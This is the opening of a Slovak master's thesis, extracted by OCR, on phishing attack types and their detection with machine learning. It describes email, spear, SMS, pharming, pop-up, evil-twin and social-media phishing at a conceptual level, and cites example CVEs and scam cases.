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ABSTRAKT

Tato diplomova praca sa zaobera popisom phishingovych utokov, ich rozdelenim, analyzou,
ukazkou a moznostami detekcie. Cielom prace bolo zistit’, ako phishingovy utok vznikol,
ako vyzerd, ako prebieha a ako moze byt detegovany s vyuzitim umelej inteligencie. Vy-
sledkom prace je podrobny popis a rozdelenie phishingovych utokov, ukazka a analyza tzv.
,phishing kitu®, analyza konkrétnych phishingovych utokov spolu s navrhnutim a imple-
mentaciou metdd umelej inteligencie, ktoré su schopné phishing efektivne detegovat’. Na-

vrhnuté rieSenie je unikatne a dosahuje sl'ubné vysledky.

KTlacové slova: phishing, strojové ucenie, URL, email, Gtok, detekcia, analyza, phishing kit,

subot dat, features, ensemble, model, klasifikacia

ABSTRACT

This Master’s thesis deals with description of phishing attacks, their classification, analysis,
illustration and possibilities of detection. The objective was to clarify, how the phishing was
created, how it looks, works and how it can be detected using methods of artificial intelli-
gence. The result of the thesis is detailed description of phishing attack, its classification,
illustration and analysis of so called “phishing kits” together with proposition and imple-
mentation of artificial intelligence methods, that are able to effectively classify phishing.

Proposed solution is unique and achieves promising results.

Key words: phishing, machine learning, URL, email, attack, detection, analysis, phishing

kit, dataset, features, ensemble, model, classification
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UvVOD

Uz v zaciatkoch internetu sa objavovali prvé pokusy, ako technoldgiu zneuzit’ vo svoj pro-
spech ¢i obohatenie. Cudia sa snazili oklamat’ inych jednotlivcov alebo organizacie, s cielom
ziskania informacii, ku ktorym by za normélnych okolnosti nemali pristup, alebo pre vlastné

obohatenie.

V zacliatkoch pocitacovej kriminality dominovali hlavne mladi hackeri, ktori sa nelegalne
dostavali do pocitacovych systémov a poruSovali bezpecnostné opatrenia len pre zédbavu
alebo pre demonstraciu svojich technickych zru¢nosti. S rozvojom digitalnej ekonomiky sa
vSak kriminalne prostredie aj motivacia pachatel'ov dramaticky zmenili. Vysoké zisky utoc-
nikov v kombindcii s nizkymi rizikami urobili z digitalnych sieti atraktivne prostredie pre

rozne typy ziskovo zameranych zlo¢inov, prosperujicich z pocitacovej kriminality [1].

Jednym z mnohych utokov, ktoré sa v histérii internetu diali a zaroven su stale vel'mi aktu-

alnou hrozbou je phishing.

Nézov Phishing vychadza z anglického slova ,.fishing®, teda lov ryb, z dovodu akejsi po-
dobnosti s touto ¢innost'ou. Obeti sa poskytne ,,nastraha®, ktord je vytvorena uto¢nikom tak,
Ze neopatrna obet’ utoku nepozna, Ze ide o ,,nastrahu®. Nésledna interakcia obete s touto
,hastrahou* umozni Gto¢nikovi ,,chytenie* obete, resp. jej citlivych tidajov. Phishing vo v§e-
obecnosti nie je cieleny na jednu obet’ ale Gto¢nik takzvane ,,rozhodi siete®, s cielom aby sa

navnada dostala k ¢o najvacSiemu poctu obeti.

Préaca sa zaobera popisom tohto utoku, ukazuje ako ttok prebieha z pohl'adu uto¢nika aj
obete, prostrednictvom detailnej analyzy viacerych Utokov a podvrhnutych webovych stra-
nok. Poukazuje na techniky, ktoré uto€nici pouzivaju, ale aj na to, ako je mozné sa takymto

utokom branit’.

Coraz viac sa na obranu proti takymto utokom vyuzivajii metoédy umelej inteligencie, ktoré
su schopné na zaklade urcitych znakov rozpoznat’ ¢i sa jedna o phishingovy ttok alebo o le-

gitimnu spravu.

Praca popisuje postup tvorby a implementaciu metdd umelej inteligencie na rozpozndvanie
phishingu a spracovanie dat, ktoré sii potom pouZité na trénovanie a testovanie presnosti

tychto metdd.
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I. TEORETICKA CAST
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1 LITERARNA RESERS, KTORA MAPUJE SUCASNY STAV
RIESENEJ PROBLEMATIKY

1.1 Co je Phishing

Phishing je automatizovana forma socialneho inzinierstva, pri ktorej zlo¢inci vyuzivaji in-
ternet alebo telekomunikacné technologie na ziskavanie citlivych informacii z firiem a jed-
notlivcov, vydavanim sa za legitimne webové stranky. Vysoky potencial zarobku (napr. pro-
strednictvom pristupu k bankovym u¢tom a ¢islam kreditnych kariet), a jednoduchost’ odo-
sielania falosSnych sprav obetiam, viedli k ndrastu phishingovych utokov v poslednych ro-

koch.

Typicky phishingovy utok zacina e-mailom obeti, udajne od renomovanej institicie, no v
skutoc¢nosti od uto¢nika (phishera). Text spravy zvycajne obsahuje naliechavi informéciu,
v snahe odradit’ obet’ od detailnejSej analyzy. Sprava zvyc€ajne varuje pouzivatela, ze prob-
1ém musi byt okamzite odstraneny a obsahuje hypertextovy odkaz na webovu stranku, kde
sa vyzaduje prihlasenie pod i¢tom pouzivatel’a. Obet’ je ale privedena na sfalSovanu webov
stranku, ktord ma pripominat’ oficidlnu webov stranku urcitej instittcie. Pri tomto pasivnom
utoku webova stranka vyzve obet, aby zadala informacie o ucte (napr. pouzivatel'ské meno
a heslo) a moze tieZ pozadovat’ d’alSie osobné idaje, ako napriklad rodné ¢islo obete, ¢isla
bankovych uctov, PIN k bankomatu atd’. Tieto informacie su ihned” po vyplneni odoslané

uto¢nikovi, ktory ich potom moze pouZit’ na pristup k uzivatel'skym tctom [2].

Attacker

&

Compromise a Host & Install Phishing Websites
& Mass Mailers

¢ Send Phishing Emails -

— =
(. € Victims Clicks Phishing URL = u [

Phishing Websites OpENS —— ~i__——'——"--:;§-£;-

,_ Victim Submits Information e———— Victim User

(3

|

Compromised Web
Server

Obrazok 1 - Priebeh phishingového ttoku [§]
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1.2 Co je umels inteligencia

Umeld inteligencia je simulacia procesov 'udskej inteligencie strojmi, najma pocitaCovymi

systémami.

Vo vSeobecnosti systémy Al (Artificial Intelligence — Umeld Inteligencia) fungujua tak, ze
prijimaju vel'’ké mnozstvo dat, analyzuju ich a hl'adaju korelacie a vzory. Nasledne pouzivaju
tieto vzory na predpovede buducich stavov. Tymto sposobom sa napriklad chatbot, ktorému
su poskytnuté priklady textovych rozhovorov, moze naucit’ vytvarat' zivé konverzacie s
I'ud’'mi alebo nastroj na rozpoznavanie obrazkov sa méze naucit’ identifikovat’ a opisat’ ob-

jekty na obrazkoch preskiimanim urcitého mnozstva prikladov.

Programovanie Al sa zameriava na tri kognitivne zru¢nosti: ucenie, uvaZzovanie a autoko-

rekciu.

e Procesy ucenia - Tento aspekt programovania Al sa zameriava na ziskavanie idajov
a vytvaranie pravidiel, ako premenit’ tdaje na pouzitelné informacie. Pravidla, ktoré
sa nazyvaju algoritmy, poskytuju vypoctovym zariadeniam podrobné pokyny na do-
koncenie konkrétnej ulohy.

e Procesy uvazovania - Tento aspekt programovania Al sa zameriava na vyber sprav-
neho algoritmu na dosiahnutie pozadovaného vysledku.

e Autokorekéné procesy - Tento aspekt programovania Al je navrhnuty tak, aby ne-

ustale dolad’oval algoritmy a zabezpecil, aby poskytovali o najpresnejsie vysledky
[9].
V oblasti umelej inteligencie existuje Siroka Skala technik, ako je lingvistika, planovanie,
automatizacia robotickych procesov, spracovanie prirodzeného jazyka, rozhodovacia veda

atd’. VSeobecne je mozné pod Al zaradit’ nasledujiice pojmy:

e Strojové ucenie

e Neurénové siete

e Evolu¢ny vypocet — genetické algoritmy, genetické programovanie

e Vizia —rozpoznavanie objektov, porozumenie obrazu

e Expertné systémy — systémy na podporu rozhodovania, systémy vyucby

e Spracovanie reci a spracovanie prirodzen¢ho jazyka — napr. strojovy preklad

e Planovanie — napr. hranie hier [10]
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Cielom prace je rozpoznanie phishingového e-mailu, jednd sa teda o binarnu klasifikaciu.
Na tento typ klasifikacie sa ako najpresnejsie v praci ukdzali algoritmy strojového ucenia

ako Random Forest, ¢i K-Nearest Neighbor.

1.2.1 Strojové ucenie

Strojové ucenie (ML — Machine Learning — Strojové ucenie) je oblast’ pocitacovej vedy,
ktora Studuje algoritmy a techniky na automatizaciu rieSeni zlozitych problémov, ktoré¢ sa
tazko programuji pomocou konvencnych programovacich metéd. Bezna metoda programo-
vania pozostava z dvoch odlisnych krokov. VzhI'adom na $pecifikdciu programu je prvym
krokom vytvorenie podrobného navrhu programu, t. j. pevne stanoveného suboru krokov
alebo pravidiel na rieSenie problému. Druhym krokom je implementacia podrobné¢ho navrhu

do konkrétneho programu.

Tento pristup je narocny pri mnohych problémoch realneho sveta, pri ktorych moze byt
vytvorenie podrobného navrhu komplikované napriek jasnej Specifikacii. Jednym z takychto
prikladov je zist'ovanie rukou pisanych znakov na obrazku. V takom pripade je k dispozicii
datova sada pozostavajuca z vel'kého poctu obrazkov ru¢ne pisanych znakov. Okrem toho
su datové body (t. j. obrdzky) v datovej sade oznacené , teda kazdy obrazok je oznaceny
znakom, ktory obsahuje. Tato oznacena datova sada je v podstate siborom prikladov popi-
sujucich, ako by sa mal program spravat’. Cielom je prist’ s programom, ktory dokaze roz-
poznat’ znaky v akomkol'vek (novom) obrazku a nielen tie v stibore dat. Pri konvencnej me-
tode by sa najskor Studovali priklady v subore dat, s cielom pochopit’, ako obrazky zodpo-
vedaju znakom, a potom by bol vytvoreny vSeobecny stubor pravidiel na detekciu znakov v
I'ubovol'nom obrazku. Vytvorenie takéhoto suboru pravidiel moze byt narocné vzhl'adom

na vel'ké rozdiely v ru¢ne pisanych znakoch.

Algoritmy ML moéZu vyriesit mnohé z tychto tazkych problémov v§eobecnym sposobom.
Tieto algoritmy nevyZaduju explicitny podrobny navrh. Namiesto toho sa v podstate ucia
podrobny navrh zo suboru oznacenych udajov, teda stiboru prikladov ilustrujucich spravanie
programu. Inymi slovami, u¢ia sa z idajov. Cim vic§ia je datova sada, tym su presnejsie.
Cielom algoritmu ML je naucit’ sa model alebo subor pravidiel z oznacenej mnoZziny udajov,
aby mohol spravne predpovedat’ oznacenia idajovych bodov (napr. obrazkov), ktoré nie st

v mnozine udajov.

Algoritmy ML rieSia problémy nepriamym sposobom tak, ze najprv vygeneruju model za-

lozeny na spracovani stiboru tidajov a potom predpovedaji oznacenie nového vstupného
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udajového bodu vykonanim tohto modelu. Tento pristup je zndmy ako strojové ucenie s uci-

telom — supervised learning.

Algoritmy ML maju tendenciu byt presnejSie ako pravidla vytvorené I'ud'mi, pretoze bert
do uvahy vsetky datové body v subore dat bez akejkol'vek I'udskej zaujatosti v dosledku

predchéadzajicich znalosti [11].

1.2.1.1 Neuronovda siet’

Neuronové siete Cerpaju inspirdciu z procesu ucenia prebiehajiceho v 'udskom mozgu. Po-
zostavaju z umelej siete funkcii nazyvanych parametre, ktord umoznuje pocitacu ucit’ sa a
dolad’ovat’ sa pomocou analyzy novych udajov. Kazdy parameter, niekedy tiez oznacovany
ako neurdn, je funkcia, ktord vytvara vystup po prijati jedného alebo viacerych vstupov.
Tieto vystupy st potom odovzdané d’alSej vrstve neurdnov, ktoré ich pouzivaju ako vstupy
svojej vlastnej funkcie a vytvaraji d’alSie vystupy. Tieto vystupy sa potom prenesu do d’alSej
vrstvy neurdnov, a tak to pokracuje, kym sa nezohl'adni kazda vrstva neurénov a terminalne
neur6ény dostanu svoj vstup. Tieto termindlne neurény potom vydavaju konecny vysledok

pre model [12].

1.2.1.2 Spracovanie prirodzeného jazyka

Spracovanie prirodzeného jazyka (NLP — Natural Language Processing) poskytuje pocitacu
schopnosti porozumiet’ textu a hovorenym slovam takmer rovnakym spdsobom, ako to do-
kazu l'udia.

NLP kombinuje vypoctovu lingvistiku — modelovanie I'udského jazyka na zaklade pravidiel
— so Statistickymi modelmi, strojovym u¢enim a modelmi hlbokého ucenia. Tieto technolo-
gie spolo¢ne umoznuju pocitacom spracovavat’ l'udsky jazyk vo forme textovych alebo hla-
sovych udajov a ,,pochopit™ jeho plny vyznam, doplneny o zdmery a pocity re¢nika alebo

spisovatel’a.

NLP riadi pocitacové programy, ktoré prekladaju text z jedného jazyka do druhého, reaguju

na hovorené prikazy a rychlo sumarizujua vel’ké objemy textu — dokonca aj v redlnom Case.

Na zaklade toho je NLP schopny pri spravnom trénovani rozpoznat’ z textu e-mailu alebo

spravy aspoii s urcitou pravdepodobnostou, ¢i sa jednd o phishing alebo nie [13].
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1.3 Typy phishingovych utokov

Vsetky typy phishingu st navrhnuté tak, aby posobili Co najddveryhodnejsie. Tieto Gtoky
vyuzivaju fakt, Ze v dnesnej dobe sa vacsina prace s financiami odohrava v online priestore.
Vd’aka tomu je phishing jednou z najrozsirenejsich hrozieb kybernetickej bezpecnosti, ktora

konkuruje DDoS (Distributed Denial of Service) utokom [4].

Prevazna vicsina (96 %) pokusov o phishing sa uskutoc¢ituje prostrednictvom e-mailu. V
minulosti boli zvycCajne tieto e-maily zle formulované a tak sa utocnici spoliehali na to, Ze
aj ked’ takyto pokus s malym usilim odoslu vel'kému poctu 'udi (napriklad v davkach stati-
sicov), o¢akavali, Ze aj nizka miera odozvy (~0,5 %) stéle prinesie stovky obeti. Siroké po-
uzivanie ,,spamovych* filtrov vSak spdsobilo, Ze tato ,,brute force* metodika je Coraz nee-
fektivnejSia a phisheri sa obratili na pokrocilejsie techniky ako st Business E-Mail Compro-

mise (BEC), Smishing, Vishing, Spear phishing, Whaling a d’alSie [2].

Phishingové utoky je mozné rozdelit’ do 2 zakladnych kategorii, na zaklade toho, na ¢o sa

utocnici spoliehajq.
1.3.1 Technical Engineering utoky

Utoénici sa spoliehaju na kvalitu technického riesenia ich utoku. Snazia sa, aby podvod vy-
zeral ¢o najdoveryhodne;jsie, a obet’ tak nepoznala, Ze sa jednéa o podvod. Tento typ Gtokov
je implementovany tak, aby vsetku pracu vykonala obet’. Utoénik v podstate po odoslani
,hastrahy“ len ¢aka na vysledky. Uto¢nik pri realizacii takéhoto titoku vyuziva nielen ne-

znalost’ a nepozornost’ obeti, ale aj zranitel'nosti prehliadacov alebo e-mailovych schranok.

1.3.1.1 Vseobecny e-mailovy phishing

V pripade e-mailového phishingového podvodu tto¢nik odosle e-mail, ktory vyzera legi-
timne. Je navrhnuty tak, aby oklamal prijemcu a vo vicSine pripadov obsahuje hypertextovy
odkaz na podvrhnutu stranku nejakej legitimnej organizacie, kde je obet’ vyzvana, aby zadala

informdcie do stranky. Vyplnené informécie su nasledovne odoslané uto¢nikovi [4].

Klasicky e-mailovy phishing nie je cieleny na jedného ¢loveka, pripadne na malé skupiny
jednotlivcov, ale vicsinou je vyuZzivana taktika podobna spamu na oslovenie $irokej popu-
lacie v rozsiahlych e-mailovych kampaniach. Takéto e-maily su rozposielané ¢o najvic-

Siemu poctu I'udi, pripadne cielia na vacsie skupiny I'udi alebo celé organizacie.


https://doi.org/10.1080/15564886.2020.1829224
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Priklad zraniteP’nosti v suvislosti s e-mailovym phishingom
CVE-2021-33707

SAP NetWeaver Knowledge Management umoziuje utocnikom vzdialene presmerovat’ po-
uzivatel'ov na I'ubovolné webové stranky a vykonavat’ phishingové utoky prostrednictvom

adresy URL (Uniform Resource Locator — Jednotny lokator zdroja) [14].

1.3.1.2 Spear Phishing/BEC/Whaling

Na rozdiel od v§eobecnych phishingovych e-mailov, spear-phishingové toky sa zameria-
vaju na konkrétnych jednotlivcov v ramci organizacie. Prave kvoli tomu dostal tento utok
nazov ,,spear phishing®, ktory vychadza s anglického vyrazu ,,spear fishing®. Ten oznacuje
rybolov harptnou, teda rybolov, pri ktorom lovec cieli na konkrétnu rybu. Utoénik &asto
zhromazdi informacie o osobe, ako je jej meno, pracovna pozicia a kontaktné udaje, eSte
pred zacatim utoku, aby mohol dany ttok naplanovat’ s ¢o najlepSou presnostou a efektivi-

tou.

Spear phishing vzrastol na popularite, ked’Zze predchadzajuci ,,jednoduchy* hromadny phis-
hing nebol az tak uspesny. VyuZiva rozne taktiky socidlneho inZinierstva na prispdsobenie
a personalizaciu e-mailov pre cielené obete. M6Zu byt pouZité napriklad riadky s predme-
tom, ktoré by mohli byt pre prijemcov zaujimavé, aby ich printtili otvorit’ spravu a kliknat’

na odkazy alebo prilohy.
Business Email Compromise (BEC)

BEC nastane, ked’ Gito¢nik posle e-mail niz§iemu zamestnancovi, zvyc¢ajne niekomu, kto
pracuje v uctovnom alebo finan¢nom oddeleni, pri¢om predstiera, Ze je generalnym riadite-
I'om spolocnosti, vysoko postavenym manazérom alebo nadriadenym obete. Ciel'om tychto
e-mailov je &asto prinitit’ obet’, aby previedla finanéné prostriedky na falosny uéet. Uspes-
nost’ tychto utokov je vo vicsine pripadov zaloZend na tom, Ze vacSina zamestnancov ma

tendenciu nepytat’ sa na e-maily svojich nadriadenych na pracovisku osobne.
Whaling

Whaling je formou spear phishingu a mozno ho povaZovat za ,,opak* BEC. Namiesto zacie-
lenia na jednotlivcov na niz§ej trovni v rdmci organizécie sa ,,kyberzloc¢inci* zameriavajl

na posielanie sprav veducim pracovnikom na vysokej urovni, ako s generalni ¢i oblastni
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riaditelia, ¢i CFO (Chief Financial Officer) s cielom oklamat’ ich, aby odhalili citlivé infor-

macie a firemné udaje.

V slovenskom jazyku sa na pomenovanie vysoko postavenych l'udi niekedy pouziva slovné
spojenie ,,vel'ka ryba®“. Z tohto pojmu teda vychadza aj nazov utoku, kde anglické slovo
»whale® znamena ,,velryba®“. Tito vysoko postaveni jednotlivci maju Casto pristup k vel-
kému mnozstvu citlivych informdcii a k citlivym oblastiam siete, coho sa snazia utocnici

vyuzit' [2].
Priklad spear phishingu
CVE-2018-11633

V doplnku MULTIDOTS Woo Checkout for Digital Goods 2.1 pre WordPress sa zistil prob-
1ém. Ak sa podari oklamat’ administratora, aby navstivil upravent webovl adresu vytvorenti
uto¢nikom, napriklad prostrednictvom spear phishingu, ito¢nik moze zmenit nastavenia do-
plnku. Funkcia woo checkout settings page v subore class-woo-checkout-for-digital-
goods-admin.php nekontroluje wp-admin/admin-post.php proti falSovaniu poziadaviek me-

dzi strankami, ¢o umoziuje Cross-site Request Forgery (CSRF) utok [15].

1.3.1.3 Smishing

Smishing je skratka pre ,,SMS phishing*. SMS (Short Message Service) je ,,sluzba kratkych
sprav*; §tandard, ktory svet pouziva na posielanie textovych sprav. Utoky typu Smishing
vyuzivaju ako vektor utoku textové spravy z telefénu namiesto e-mailov, ¢iastocne na obi-

denie SPAM filtrov a na oslovenie véac¢Sieho poctu potencialnych obeti [2].

Priklad Smishingu

MPSV informuji
Pfispévky na bydleni
Ziskat:

Obréazok 2 - Smishing
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V tomto konkrétnom pripade sa jednalo o utok, ktory tazil zo situdcie, ktora sa v roku 2023
tykala prispevkov na byvanie v CR. Odosielatel pripojil do spravy odkaz, ktory viedol na
falo$né stranky Ministerstva Prace a Socialnych veci. Na tychto strankach sa od pouZzivatel’a
pozadovalo prihlasenie do jeho banky. Po vyplneni prihlasovacich udajov vSak nedoslo
k prihlaseniu ale k odoslaniu prihlasovacich udajov uto¢nikovi. Podrobnejsi popis je obsiah-

nuty v podkapitole 1.4.

1.3.1.4 Pharming

Pharming je typ kybernetického utoku, pri ktorom zloc¢inci presmeruju pouzivatel'ov inter-
netu, ktori sa snaZia dostat’ na konkrétnu webovu stranku, na int, falo$na stranku. Uto&nici
sa Casto zameriavaji na webové stranky vo finanénom sektore vratane bank, platforiem on-
line platieb alebo stranok elektronického obchodu, pricom ich kone¢nym ciel'om je zvycajne

kradez identity.
Ako funguje pharming?

Pharming vyuZiva to, Ze postupnost’ pismen, ktoré tvoria internetova adresu, ako napriklad
www.google.com, musi server DNS (Domain Name System) previest’ na IP (Internet Pro-

tocol) adresu, aby spojenie pokraovalo.
Pharming utoci na tento proces jednym z dvoch sposobov:

e Hacker mo6Ze poslat’ Skodlivy kod v e-maile, ktory nainStaluje virus alebo trojsky kon
do pocitaca pouzivatela. Tento Skodlivy kéd zmeni ,,iosts“ subor pocitaca (Li-
nux/Mac OS: /etc/hosts, Windows: C:\Windows\System32\Drivers\etc\hosts) tak,
aby smeroval navstevnost’ miesto zamysl'aného ciel’a na falo§nti webovt stranku. Pri
tejto forme pharmingu — znamej ako pharming zaloZeny na malware — bez ohl'adu na
to, ¢i obet’ zada spravnu internetovu adresu, podvrhnuty Aosts subor ju namiesto toho
zavedie na podvodnu stranku.

e Hacker mbze pouzit’ techniku nazyvanii DNS poisoning. Utoénici upravia tabulku
DNS na serveri, o spdsobi, ze pouzivatelia neumyselne navstivia falosné webové
stranky namiesto legitimnych. Uto&nici mozu pouZit’ falo§né webové stranky na in-
Stalaciu virusov alebo trojskych koni do pocitaca pouzivatela alebo sa pokusit’ zhro-

mazdit’ osobné a finan¢né informacie na pouzitie pri kradezi identity.
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DNS poisoning mdze ovplyvnit' znany pocet obeti. ,,Otrava“ sa moze rozsirit’ aj na iné
servery DNS. Akykol'vek poskytovatel’ internetovych sluzieb (ISP — Internet Service Provi-
der), ktory prijima informacie z takto upraveného servera, méze podvrhnuty zaznam DNS
sa ulozit’ do vyrovnavacej pamdti na serveroch, ¢im sa rozsiri do viacerych smerovacov a

zariadeni.

V pripadoch DNS server poisoning ttoku mdze mat’ postihnuty pouzivatel’ pocita¢ uplne
bez skodlivého softvéru a napriek tomu sa moze stat’ obet'ou. Ani preventivne opatrenia, ako
je rucné zadavanie URL alebo vzdy pouzivanie doveryhodnych zalozZiek, nepostacuju, pre-
toze k nespravnemu prekladu dojde potom, ¢o pocita¢ odosle poziadavku na pripojenie

[16][17].
Priklady
CVE-2007-1644

Mechanizmus dynamickej aktualizacie DNS v sluzbe DNS Server v systéme Microsoft Win-
dows neoveruje spravne klientov v uréitych nasadeniach alebo konfiguraciach, ¢o umoziuje
vzdialenym uto¢nikom menit’ zdznamy DNS pre webovy proxy server a vykonavat’ utoky
typu man-in-the-middle (MITM) na webova prevadzku, vykondvat' pharmingové utoky

otravou DNS zdznamov a spdsobit’ DDoS [18].
CVE-2008-1637

DNS cache poisoning proti popularnemu DNS cache serveru PowerDNS (v roku 2008 treti

najpopularnej$i DNS server, ktory obsluhoval viac ako 40 miliénov pouZivatel'ov).

Predajca zakodoval niekol'ko bezpecnostnych opatreni proti DNS spoofingu (napr. rando-
mizécia zdrojového portu UDP a detekcia faloSnej odpovede), ale spoliehal sa na Standardné
randomizac¢né prostriedky jazyka C (rand() a funkcie srand() v <stdlib.h>). Dve popularne
stdlib implementacie, glibc (pouzivané s GNU C++ pre Linux/ Unixové systémy) a
MSVCRT (pouzivané s MSVC od Microsoftu pre Windows) sa ukézali ako I'ahko predvi-
datel'né, ¢o umoziuje utocnikovi predpovedat’ dotazy DNS odoslané PowerDNS Recursoru,

z ktorych je mozné vytvorit’ efektivny DNS cache poisoning alebo pharmingovy utok [19].



UTB ve Zliné, Fakulta aplikované informatiky 22

1.3.1.5 Pop-up phishing

Pop-up phishing zahfiia podvodné spravy, ktoré sa pouzivatelom ,,vyskakuju* pri surfovani
na webe. V mnohych pripadoch pocitacovi zlo¢inci infikuji inak legitimne webové stranky
Skodlivym kodom, ktory sposobuje, ze sa tieto kontextové spravy zobrazuja, ked’ ich l'udia

navstivia.

Obsah tychto sprav je to, ¢o ich robi takymi G&innymi. Casto zobrazuju ni¢ netusiacemu
navstevnikovi webovej stranky nejaké podvodné varovanie, zvycajne oh'adom bezpecnosti
ich pocitaca. Potom nédvstevnika vyzvu, aby si stiahol nejaky potrebny néstroj na vyrieSenie
problému, ako je napriklad antivirusova aplikacia, ktord sa ukaze ako malware. Pripadne

obet’ vyzvu aby zavolala na podvodné telefonne cislo pre ,,podporu‘ [20].
Priklad pop-up phishingu
CVE-2008-5915

Nespecifikovana funkcia v implementacii JavaScriptu v prehliadaci Google Chrome vytvara
a odhal’'uje ,,do¢asnu stopu®, ked’ existuje aktualne prihlasenie na webov stranku. To ulah-
cuje utocnikom oklamat’ pouZzivatel’a, aby konal na zdklade podvrhnutej kontextovej spravy

pop-up okna [21].
Priklad zneuzitia

Pri prehliadani webu na svojom MacBooku pouZivatel' narazil na vyskakovacie hlésenie,
ktoré ho upozoriiovalo, Ze sa vyskytol problém s jeho pocitatom. Podvodnici za spravou

pohodlne poskytli telefonne ¢islo, na ktoré mohol pouzivatel’ zavolat’.

»Zastupca podpory spolo¢nosti Apple* na druhom konci linky vyzval pouzivatela, aby vy-
tvoril vzdialené pripojenie, aby zastupca mohol diagnostikovat’ problém. Podvodnik dokazal
pouzivatel'ovi ukdzat, ze platnost’ jeho AppleCare vyprsala, a povedal mu, Ze ju potrebuje
obnovit’ za 499 dolarov. Potom pomohol pouzivatel'ovi prejst’ na webovi stranku, kde mohol

zadat’ ¢islo svojej kreditnej karty a zakupit’ si obnovenie [20].

1.3.1.6 Evil Twin Phishing

K evit twin phishingu dojde, ked’ utocnik nastavi faloSny pristupovy bod Wi-Fi v nadeji, ze
sa k nemu pouzivatelia pripoja namiesto legitimneho. Ked’ sa pouZivatelia prip4jaji k tomuto
pristupovému bodu, vSetky tdaje, ktoré zdiel'aju so siet'ou, prechddzajii cez server kontro-

lovany Gto¢nikom. Utoénik méZe vytvorit’ falo§ny pristupovy bod pomocou smartfonu alebo
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iného zariadenia s pripojenim na internet a nejakého l'ahko dostupného softvéru. Takéto
utoky st beznejsie vo verejnych siet’ach Wi-Fi, ktoré st nezabezpecené a nechévaju osobné

udaje zraniteI'né.

Hackeri zvycajne hl'adaju rusné miesta s bezplatnymi Wi-Fi sietami ako st kaviarne, kniz-
nice alebo letiska, ktoré maju Casto viacero pristupovych bodov s rovnakym nazvom. Vd’aka

tomu moze falo$na siet’ hackerov zostat’ neodhalena.

Hacker si na zéklade identifikatora SSID (Service Set Identifier) legitimne;j siete zalozi novy
hotspot s rovnakym SSID. Pripojené zariadenia nedokéazu rozliSit’ medzi originalnymi pri-

pojeniami a faloSnymi verziami.

Skor ako sa obet’ bude moct’ prihlasit’ na Wi-Fi, musi odoslat’ prihlasovacie tdaje na vSeo-
becnej prihlasovacej stranke. Hackeri vytvoria kopiu tejto stranky v nadeji, ze oklamu nic¢
netusiace obete, aby prezradili svoje prihlasovacie udaje. Ked’ ich hackeri ziskaji, mézu sa

prihlasit’ do siete a ovladat’ ju.

Ide o klasicky utok typu man-in-the-middle, ktory umoznuje uto¢nikovi sledovat’ online ak-

tivitu obete, €1 uz socidlne siete alebo pristup k bankovym uctom [22].
Priklad Evil Twin Phishingu
CVE-2018-6402

Zariadenia Ecobee Ecobee4 4.2.0.171 moézu byt’ nitené zrusit’ autentifikaciu a pripojit’ sa k
nesifrovanej sieti Wi-Fi s rovnakym SSID, aj ked’ nastavenia zariadenia Specifikuju pouzitie
Sifrovania ako je WPA2, pokial’ ma konkurenéna siet’ silnejsi signal. Utoénik moZe nastavit

rovnaké SSID, a vyuzit’ tak zariadenie k utoku ,,Evil Twin* [23].

1.3.2 Social Engineering tutoky

Tento typ utokov vyzaduje priamu interakciu s obetou. Nemusi sa pritom jednat’ priamo
o hackersky utok v pravom zmysle slova. Sta¢i, aby uto¢nik ziskal bliZSie informacie o obeti,
na zaklade ktorych obet’ presvedci o svojej doveryhodnosti, v ndsledku ¢oho obet” dobro-
vol'ne poskytne citlivé idaje alebo rovno peniaze. Ako komunikacny kanal, prostrednictvom
ktorého prebieha takyto utok moéze byt pouzité takmer cokol'vek. Telefénne spojenie, e-

maily, chat, socidlne siete atd’.
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Hlavnou zbranou uto¢nika teda nie je technicka zdatnost’, ale psychologické schopnosti, kto-

rymi vie ovplyvnit’ a oklamat’ obet’ a vylakat’ z nej citlivé informécie.

Castokrat viak nemusi ist’ len o taktiku ziskania dovery, moze byt pouzitd hrubost’ a vy-

hrazky.

1.3.2.1 Angler phishing

Angler phishing je Specificky typ phishingového ttoku, ktory existuje na socialnych mé-
diach. Na rozdiel od tradicného phishingu, ktory zahfna e-maily, ktoré napodobnuju legi-
timne organizicie, sa angler phishingové utoky sptist'aja pomocou falosnych uctov podnikov
na socidlnych médiach. Pocitacovi zlocinci si uvedomuju, Ze organizacie ¢oraz viac vyuzi-
vaju socidlne média na interakciu so svojimi zakaznikmi, ¢i uz ide o marketingové a propa-
gacné ucely, alebo pontikaji zdkaznikom jednoduchy spdsob kladenia otdzok alebo podava-

nia st’aznosti.

Organizacie ¢asto reaguju rychlejSie na problémy nastolené na socidlnych médiach, pretoze
to poskytuje prilezitost na dobré PR. Vacsina odpovedi je v rovnakom duchu: organizicia
poziada zékaznika, aby poskytol svoje osobné tdaje, aby mohla overit’ problém a primerane

reagovat’.

Nanest’astie, pocitacovi zlo€inci to zneuzili a pouzivaji falo$né firemné ucéty na zachytéva-
nie informacii od zdkaznikov. Pouzivaju ucty, ktoré napodobiiuju legitimne stranky, vyhla-

davaju st'aznosti zdkaznikov smerované na legitimnu stranku a odpovedaju.

Podvodnik potom poZiada zdkaznika, aby mu poslal spravu s podrobnost’ami o svojom ucte
(ako to robi mnoho skutocnych organizacii) alebo ho nasmeruje na stranku, ktora je tidajne
strankou zékaznickej podpory, ale v skuto€nosti ide o Skodlivu stranku, ktord kradne osobné

udaje alebo infikuje zariadenie zdkaznika malvéru.
Priklad Angler phishingu

Hackeri predstierali, Ze zastupuji Domino's Pizza na Twitteri, kde rieSili staZnosti a komen-
tare zakaznikov. Akondhle sa dostali do kontaktu so zdkaznikom, vyuzili situdciu na to, aby
sa pokusili ziskat’ jeho osobné informacie s pouzitim zdmienky, Ze im budu vratené peniaze

alebo poskytnutéd nejakd kompenzacia [4].
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Stephanie
Finally here, cold as ice. Might as well have not brought it at all.

Never ordering from @dominos again.

¢ Domino's Pizza
? @sreese25 Sounds like we dropped the ball and 1'd like to help make
* this right! Can you pis follow/DM store info, your namea, phone &
email?

- Hide conversation
| |

-
| 4~ Reply T3 Retweet W Favorite = Butfer

s L TTEE——— W S

Obrazok 3 — Angler phishing [24]

1.3.2.2 Vishing

Vishing, ¢o je skratka pre ,,voice phishing®, znamen4, Ze niekto pouZziva na ukradnutie in-
formacii mobilny telefon, pripadne int formu hlasovej komunikécie. Uto¢nik moze pred-

stierat, ze je doveryhodnym priatel'om alebo pribuznym, alebo Ze obete zastupuje. [4]
Priklad vishingu

V roku 2022 vel'mi Casty utok, o ktorom mdze Sirokd verejnost’ vediet’ najmé z médii, kde
sa Coraz CastejSie objavuju pripady, kedy dochodca posle peniaze svojmu ,,pribuznému na
